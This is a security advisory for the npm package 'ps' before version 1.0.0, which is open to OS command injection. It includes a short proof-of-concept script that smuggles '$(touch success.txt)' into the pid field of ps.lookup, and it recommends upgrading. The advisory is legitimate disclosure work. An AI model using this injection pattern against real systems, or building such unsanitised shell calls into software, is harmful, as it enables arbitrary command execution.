GHSA-cfhg-9x44-78h2
Dashboard / Vulnerabilities / GHSA-cfhg-9x44-78h2
Summary: ps Enables OS Command Injection
Details: Versions of `ps` before 1.0.0 are vulnerable to command injection. ### Proof of concept: ```js var ps = require('ps'); ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection if (err) {throw err;} if (proc) { console.log(proc); // Process name, something like "node" or "bash" } else { console.log('No such process'); } }); // Result: The file success.txt will exist on the filesystem if the touch command was executed ``` ## Recommendation Update to version 1.0.0 or later.
References: https://nvd.nist.gov/vuln/detail/CVE-2018-16460, https://hackerone.com/reports/390848, https://github.com/advisories/GHSA-cfhg-9x44-78h2, https://github.com/nodejs/security-wg/blob/master/vuln/npm/470.json, https://www.npmjs.com/advisories/728
Affected packages
Package
Name: ps
Purl: pkg:npm/ps
Affected ranges
Type: SEMVER
Events:
